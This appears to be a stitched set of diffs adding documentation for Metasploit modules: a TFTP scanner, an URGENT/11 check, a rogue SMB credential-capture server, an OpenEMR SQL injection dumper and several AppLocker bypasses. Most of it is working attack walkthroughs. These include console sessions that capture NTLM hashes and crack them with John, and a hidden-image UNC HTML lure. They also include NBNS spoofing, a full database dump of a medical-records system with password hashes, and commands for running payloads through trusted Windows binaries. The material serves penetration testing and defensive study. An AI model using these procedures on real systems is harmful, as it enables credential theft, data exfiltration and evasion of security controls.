```
msf5 > use auxiliary/scanner/tftp/tftpbrute
msf5 auxiliary(scanner/tftp/tftpbrute) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/tftp/tftpbrute) > set verbose true
verbose => true
msf5 auxiliary(scanner/tftp/tftpbrute) > run
[+] Found test.txt on 1.1.1.1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/tftp/tftpbrute) >
```
@@ -0,0 +1,46 @@
## Vulnerable Application
This detects systems running vulnerable versions of the Interpeak IPnet TCP/IP stack, which may be exploitable due to bugs parsing malformed network packets which can lead to memory corruption or denial-of-service attack possibilities.
## Verification Steps
1. Do: `use auxiliary/scanner/vxworks/urgent11_check`
2. Do: `set [RHOSTS]`, replacing `[RHOSTS]` with a list of hosts to test for the presence of the vulnerable IP stack.
2. Do: `set [RPORTS]`, replacing `[RPORTS]` with a list of possible service ports to interrogate for vulnerable stack behavior.
3. Do: ```run```
4. If the host is exposing an identifiable IPnet TCP/IP stack, it will print the endpoint and report a vuln.
## Options
**RPORTS** Set to a comma or space-delimited list of ports to check for the vulnerability.
**VERBOSE** Set to see how the probabilities of a vulnerable host are calculated.
## Scenarios
```
msf5 auxiliary(scanner/vxworks/urgent11_check) > set RHOSTS 192.168.86.1 192.168.86.2
RHOSTS => 192.168.86.1 192.168.86.2
msf5 auxiliary(scanner/vxworks/urgent11_check) > set THREADS 2
THREADS => 2
msf5 auxiliary(scanner/vxworks/urgent11_check) > set RPORTS 21 22 23 80 443
RPORTS => 21 22 23 80 443
msf5 auxiliary(scanner/vxworks/urgent11_check) > run
[*] 192.168.86.1:21 being checked
[*] 192.168.86.2:21 being checked
[*] 192.168.86.1:22 being checked
[*] 192.168.86.1:23 being checked
[*] 192.168.86.1:80 being checked
[*] 192.168.86.1:443 being checked
[*] Scanned 1 of 2 hosts (50% complete)
[*] 192.168.86.2:22 being checked
[+] 192.168.86.2:22 affected by CVE-2019-12258
[*] 192.168.86.2:23 being checked
[*] 192.168.86.2:80 being checked
[*] 192.168.86.2:443 being checked
[+] 192.168.86.2:443 affected by CVE-2019-12258
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/vxworks/urgent11_check) >
```
@@ -0,0 +1,415 @@
This module creates a mock SMBv1 server which accepts credentials before returning `NT_STATUS_LOGON_FAILURE`.
SMBv1 is enabled by default on systems before, and including:
* Windows XP
* Windows Server 2008 R2
Microsoft provides an article on how to detect, disable, and enable SMB in various versions
[here](https://support.microsoft.com/en-us/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server)
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/smb```
3. Do: ```run```
## Options
**CAINPWFILE**
A file to store Cain & Abel formatted captured hashes in
**CHALLENGE**
An 8 byte server challenge. Default is `1122334455667788`
**JOHNPWFILE**
A file to store John the Ripper formatted hashes in
## Scenarios
### Linux Connection via smbclient
Ubuntu 18.04 with `smbclient 4.7.6-Ubuntu` installed.
Based on [shellvoide.com](https://www.shellvoide.com/hacks/how-to-setup-rogue-fake-smb-server-to-capture-credentials/)
You'll need to set `client use spnego = no` under `[global]` in `smb.conf` to ensure SMBv1 compatibility.
Server:
```
msf5 exploit(multi/handler) > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
[*] SMB Captured - 2019-09-25 22:44:04 -0400
NTLMv2 Response Captured from 2.2.2.2:50978 - 2.2.2.2
USER:ubuntu DOMAIN:WORKGROUP OS:Unix LM:Samba
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:a6b70b49c8d42903fbe6231ce53a21ff
NT_CLIENT_CHALLENGE:01010000000000008aee33441474d501f8f62d51f6995359000000000200120057004f0052004b00470052004f005500500000000000
[*] SMB Capture - Empty hash captured from 2.2.2.2:50978 - 2.2.2.2 captured, ignoring ...
```
Client:
```
root@Kali:~# grep spnego /etc/samba/smb.conf
client use spnego = no
root@Kali:~# smbclient //1.1.1.1/fake
Enter WORKGROUP\root's password:
session setup failed: NT_STATUS_LOGON_FAILURE
```
Crack the Hash:
```
# cat /tmp/john_netntlmv2
ubuntu::WORKGROUP:1122334455667788:a6b70b49c8d42903fbe6231ce53a21ff:01010000000000008aee33441474d501f8f62d51f6995359000000000200120057004f0052004b00470052004f005500500000000000
# john /tmp/john_netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
test (ubuntu)
1g 0:00:00:00 DONE (2019-09-25 22:46) 11.11g/s 1865Kp/s 1865Kc/s 1865KC/s 24782478..playpen
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```
### Windows XP via net use
Method also confirmed on Windows 2008r2
Based off of [hackers-arise.com](https://www.hackers-arise.com/single-post/2018/11/19/Metasploit-Basics-Part-20-Creating-a-Fake-SMB-Server-to-Capture-Credentials)
The idea here is we have a shell on a Windows box where we can't `hashdump` due to user permissions.
However, we're able to do a `net use` to make an `SMB` connection back to our server to get the
user's hash, then hopefully crack it.
```
meterpreter > getuid
Server username: WINXP\test
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/smb) >
[*] Started service listener on 0.0.0.0:445
[*] Server started.
msf5 auxiliary(server/capture/smb) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\test\Desktop>net use \\1.1.1.1 fake
[*] SMB Captured - 2019-09-25 22:26:04 -0400
NTLMv1 Response Captured from 2.2.2.2:1056 - 2.2.2.2
USER:test DOMAIN:WINXP OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1
LMHASH:7f1a8bbdf965d969339b08f160d292692f85252cc731bb25
NTHASH:e02333eb6ac047b8d4d4f5759b1a455161d4bc576f75460c
net use \\1.1.1.1 fake
System error 1326 has occurred.
Logon failure: unknown user name or bad password.
C:\Documents and Settings\test\Desktop>
```
We're now able to use John the Ripper to crack the password.
```
# cat /tmp/john_netntlm
test::WINXP:7f1a8bbdf965d969339b08f160d292692f85252cc731bb25:e02333eb6ac047b8d4d4f5759b1a455161d4bc576f75460c:1122334455667788
# john /tmp/john_netntlm --format=netlm --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (netlm, LM C/R [DES 32/64])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
FAKE (test)
1g 0:00:00:00 DONE (2019-09-25 22:28) 1.333g/s 1398Kp/s 1398Kc/s 1398KC/s 123456..LATISHA1
Use the "--show --format=netlm" options to display all of the cracked passwords reliably
Session completed
```
### UNC in Websites Vector
One way to coax a user into creating an SMB connection is to embed it in a website
First, create the website (we're using Kali for this) with the following content:
```
<html>
<head>
<title>UNC Example</title>
</head>
<body>
<img src="file:////1.1.1.1/fake.jpg" width="0px" height="0px">
</body>
</html>
```
This file, for the example is in `/var/www/html/unc.html`.
Also of note, this could be done via XSS or other injection technique.
Start the webserver: ```service apache2 start```
Server:
```
msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/smb) >
[*] Started service listener on 0.0.0.0:445
[*] Server started.
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:957c33ac7e9d7bf4459ddb2c65109aaa
NT_CLIENT_CHALLENGE:01010000000000007a7e22719474d5014eb86a13abf5f61000000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e4411aead169063032e832539864b4ff
NT_CLIENT_CHALLENGE:0101000000000000fd0e3f719474d501ed3acc4801283dee00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:f09d780a73410902dae21653cc9ef117
NT_CLIENT_CHALLENGE:0101000000000000bed143719474d5015e71b1d1c6aba91800000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:b9f84605b6cd0feb57c38f5d7251d5e0
NT_CLIENT_CHALLENGE:01010000000000007f9448719474d50164270f62c422d35200000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:a1f2d3c84c444368bea5cac47707faec
NT_CLIENT_CHALLENGE:01010000000000003f574d719474d50197b541b568bd9d3600000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:b895915d8c813c99512904bd1b84f2e2
NT_CLIENT_CHALLENGE:0101000000000000001a52719474d501b8fa9400bb1ff22f00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:309c3abcd382e8541a811a8d9af66002
NT_CLIENT_CHALLENGE:0101000000000000c0dc56719474d501cea04f59f7a5dc5a00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:1378542b978996b23f6f88c8d52b3d22
NT_CLIENT_CHALLENGE:0101000000000000819f5b719474d501cd5954986a11cd6600000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:425740c14d740ba89aae0533e1c320bb
NT_CLIENT_CHALLENGE:0101000000000000416260719474d501dc6bac2b5637209b00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:b291ca93971c18c3fa3f9789c25296c8
NT_CLIENT_CHALLENGE:0101000000000000022565719474d501d583f2f3dbf2ea0000000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:3a908e59fe9f96a7f871b3aa2155dce1
NT_CLIENT_CHALLENGE:0101000000000000c2e769719474d5015e8a4d8a139e8eea00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:2a76fc76174c297712b08e301ac1b08e
NT_CLIENT_CHALLENGE:010100000000000083aa6e719474d5019684d5d78475e27500000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5d7057563a44671ec26ec021613f45b4
NT_CLIENT_CHALLENGE:0101000000000000a4ce75719474d50184900d6f208cb07500000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:ec6ce9d5171e9f5ee017d963797e760c
NT_CLIENT_CHALLENGE:010100000000000064917a719474d501006e93848f1fb88100000000020000000000000000000000
[*] SMB Captured - 2019-09-26 14:01:37 -0400
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:d96937debde3ce251f6889fc1be21a2f
NT_CLIENT_CHALLENGE:010100000000000025547f719474d5014dd729fda10cf20c00000000020000000000000000000000
```
Client:
```
Browse to the webpage. This example is on Windows Server 2008r2 with Internet Explorer.
```
Crack the password:
```
# john /tmp/john_netntlmv2 -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 17 password hashes with 17 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Remaining 15 password hashes with 15 different salts
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
15g 0:00:00:00 DONE (2019-09-26 14:06) 115.3g/s 283569p/s 4253Kc/s 4253KC/s dyesebel..holaz
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```
### Spoofing NBNS
If the target(s) are on the local network, it's possible to conduct an `nbns` spoof to attract
additional SMB queries to your host. This scenario will utilize `auxiliary/spoof/nbns/nbns_response`
to conduct the spoofing. If a Windows user attempts to browse or mount a network name such as
`\\fake`, the `nbns` module will respond back with the set IP.
This is based on [hackingarticles.in](https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/)
Server side:
```
msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/johnnbns
johnpwfile => /tmp/johnnbns
msf5 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/smb) >
[*] Started service listener on 0.0.0.0:445
[*] Server started.
msf5 auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_response
msf5 auxiliary(spoof/nbns/nbns_response) > set spoofip 1.1.1.1
spoofip => 1.1.1.1
msf5 auxiliary(spoof/nbns/nbns_response) > set interface eth0
interface => eth0
msf5 auxiliary(spoof/nbns/nbns_response) > exploit
[*] Auxiliary module running as background job 1.
msf5 auxiliary(spoof/nbns/nbns_response) >
[*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ...
[+] 2.2.2.2 nbns - FAKE matches regex, responding with 1.1.1.1
[+] 2.2.2.2 nbns - FAKE matches regex, responding with 1.1.1.1
[*] SMB Captured - 2019-09-26 16:19:09 -0400
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5a44b22db99861330e1637f0565f595f
NT_CLIENT_CHALLENGE:010100000000000022529fa7a774d501b3b3f093392560d600000000020000000000000000000000
[*] SMB Captured - 2019-09-26 16:19:09 -0400
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:00837cb572f0116c7544ca0f56d31f5c
NT_CLIENT_CHALLENGE:0101000000000000c606c3a7a774d501c28ee74be786099100000000020000000000000000000000
[*] SMB Captured - 2019-09-26 16:19:09 -0400
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:b571090dea4270b6b6d2b3de39321b29
NT_CLIENT_CHALLENGE:010100000000000087c9c7a7a774d501c00e467bda8a8b4a00000000020000000000000000000000
[*] SMB Captured - 2019-09-26 16:19:09 -0400
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:dc28e9e94c6199e814937d61e3956c7d
NT_CLIENT_CHALLENGE:0101000000000000084fd1a7a774d5014f34895403460b1b00000000020000000000000000000000
```
Victim:
```
Open Explorer and type \\fake
```
Finally, Crack the password:
```
# john /tmp/johnnbns_netntlmv2 -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
Password123 (Administrator)
6g 0:00:00:00 DONE (2019-09-26 16:25) 100.0g/s 614400p/s 3686Kc/s 3686KC/s dyesebel..holaz
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```
### Word Document UNC Injector
Another strategy is to create content which can entice a user to open, containing a UNC link, and
thus creating an SMB connection. To accomplish this, we use `auxiliary/docx/word_unc_injector`.
@@ -0,0 +1,101 @@
## Introduction
This module exploits a SQLi vulnerability found in
OpenEMR version 5.0.1 Patch 6 and lower. The
vulnerability allows the contents of the entire
database (with exception of log and task tables) to be
extracted.
This module saves each table as a `.csv` file in your
loot directory and has been tested with
OpenEMR 5.0.1 (3).
## Author
Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security
## References
https://www.cvedetails.com/cve/CVE-2018-17179/
https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617
## Options
```
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /openemr yes The base path to the OpenEMR installation
VHOST no HTTP server virtual host
```
## Usage
This module has both `check` and `run` functions.
```
msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check
[*] Trying to detect installed version
[*] 127.0.0.1:80 - The target appears to be vulnerable.
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 127.0.0.1
[*] DB Version: 10.3.15-MariaDB-1
[*] Enumerating Tables, this may take a moment...
[*] Identified 310 tables.
[*] Dumping table (1/310): ALL_PLUGINS
[*] Dumping table (2/310): APPLICABLE_ROLES
[*] Dumping table (3/310): CHARACTER_SETS
[*] Dumping table (4/310): CHECK_CONSTRAINTS
[*] Dumping table (5/310): COLLATIONS
...
[*] Dumping table (305/310): medex_recalls
[*] Dumping table (306/310): syndromic_surveillance
[*] Dumping table (307/310): lang_constants
[*] Dumping table (308/310): gacl_acl_seq
[*] Dumping table (309/310): background_services
[*] Dumping table (310/310): geo_country_reference
[*] Dumped all tables to /root/.msf4/loot
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit
root@localhost:/# cd /root/.msf4/loot
root@localhost:~/.msf4/loot# ls -l
-rw-rw-r-- 1 root root 207 Sep 11 01:33 20190911013307_default_127.0.0.1_openemr.ALL_PLUG_118002.bin
-rw-rw-r-- 1 root root 42 Sep 11 01:33 20190911013308_default_127.0.0.1_openemr.APPLICAB_752726.bin
-rw-rw-r-- 1 root root 59 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHARACTE_047422.bin
-rw-rw-r-- 1 root root 77 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHECK_CO_374587.bin
-rw-rw-r-- 1 root root 68 Sep 11 01:33 20190911013310_default_127.0.0.1_openemr.COLLATIO_513047.bin
...
-rw-rw-r-- 1 root root 37 Sep 11 01:47 20190911014756_default_127.0.0.1_openemr.syndromi_322156.bin
-rw-rw-r-- 1 root root 3 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.gacl_acl_006027.bin
-rw-rw-r-- 1 root root 22 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.lang_con_639806.bin
-rw-rw-r-- 1 root root 139 Sep 11 01:47 20190911014759_default_127.0.0.1_openemr.backgrou_037369.bin
-rw-rw-r-- 1 root root 5462 Sep 11 01:48 20190911014846_default_127.0.0.1_openemr.geo_coun_668990.bin
root@localhost:~/.msf4/loot# cat 20190911014115_default_127.0.0.1_openemr.users_se_735944.bin
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","",""
4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","",""
6,johnderp,$2a$05$nAHQ7japfATDqqgArPImlu5svMG79W1nj1SNBpE7xkEhS42.AvlWq,$2a$05$nAHQ7japfATDqqgArPImlv$,2019-08-29 02:02:32,"","","",""
7,janedoemsf,$2a$05$uv85uBLeAOWQWWl9hHGL0uUy1KZSTgNGbZfJ9o8Lg0ILuSeGCNDbm,$2a$05$uv85uBLeAOWQWWl9hHGL06$,2019-08-29 02:09:37,"","","",""
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
@@ -0,0 +1,36 @@
## Introduction
This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory.
## Vulnerable Application
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe.
## Options
- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs).
- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest).
- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj).
## Verification Steps
1. Start `msfconsole`
2. Do: `use evasion/windows/applocker_evasion_presentationhost`
3. Do: `set PAYLOAD <payload>` (note: only x86 payloads are supported by this module)
4. Do: `run`
5. The module will now display instructions of how to proceed
6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs`
7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest`
8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj`
9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target`
10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap.
## References
https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker
https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies
@@ -0,0 +1,34 @@
## Introduction
This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as these binaries are located within the trusted Windows directory.
## Vulnerable Application
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block RegAsm.exe, RegSvcs.exe or the "Microsoft.Net" directory.
## Options
- **TXT_FILE** - Filename for the evasive file (default: regasm_regsvcs.txt).
- **SNK_FILE** - Filename for the .snk file (default: key.snk). (note: to aid furter evasion it is recommended to create your own .snk file ref: https://docs.microsoft.com/en-us/dotnet/framework/app-domains/how-to-sign-an-assembly-with-a-strong-name)
## Verification Steps
1. Start `msfconsole`
2. Do: `use evasion/windows/applocker_evasion_regasm_regsvcs`
3. Do: `set PAYLOAD <payload>`
4. Do: `run`
5. The module will now display instructions of how to proceed
6. `[+] regasm_regsvcs.txt stored at /root/.msf4/local/regasm_regsvcs.txt`
7. `[+] key.snk stored at /root/.msf4/local/key.snk`
8. `[*] Copy regasm_regsvcs.txt and key.snk to the target`
9. `[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm_regsvcs.dll /keyfile:key.snk regasm_regsvcs.txt` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
10. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regsvcs.exe regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
11. `[*] or`
12. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regasm.exe /U regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
## References
https://attack.mitre.org/techniques/T1121/
@@ -0,0 +1,31 @@
## Introduction
This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
The main vector for this bypass is to use the trusted binary Microsoft.Workflow.Compiler.exe to execute user supplied code as this binary is located within the trusted Windows directory.
## Vulnerable Application
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block Microsoft.Workflow.Compiler.exe or the "Microsoft.Net" directory.
## Options
- **XOML_FILE** - Filename for the evasive file (default: workflow.xoml).
- **XML_FILE** - Filename for the .snk file (default: workflow.xml).
## Verification Steps
1. Start `msfconsole`
2. Do: `use evasion/windows/applocker_evasion_workflow_compiler`
3. Do: `set PAYLOAD <payload>`
4. Do: `run`
5. The module will now display instructions of how to proceed
6. `[+] workflow.xoml stored at /root/.msf4/local/workflow.xoml`
7. `[+] workflow.xml stored at /root/.msf4/local/workflow.xml`
8. `[*] Copy workflow.xoml and workflow.xml to the target`
9. `[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\Microsoft.Workflow.Compiler.exe workflow.xml GQi` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
## References
